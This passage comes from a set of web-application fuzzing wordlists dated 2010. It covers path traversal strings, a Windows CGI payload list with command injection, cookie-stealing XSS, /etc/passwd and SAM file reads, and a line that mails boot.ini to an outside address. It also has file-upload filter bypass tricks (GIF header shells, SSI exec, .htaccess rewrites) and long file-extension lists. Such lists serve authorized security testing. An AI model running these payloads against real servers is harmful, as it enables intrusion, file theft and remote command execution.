/> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010)<br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 10 April 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {PREFIX}/templates_compiled/<br /> {PREFIX}/templates_c/<br /> {PREFIX}/templates/<br /> {PREFIX}/temporary/<br /> {PREFIX}/images/<br /> {PREFIX}/cache/<br /> {PREFIX}/temp/<br /> {PREFIX}/files/<br /> {PREFIX}/tmp/<br /> <br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br 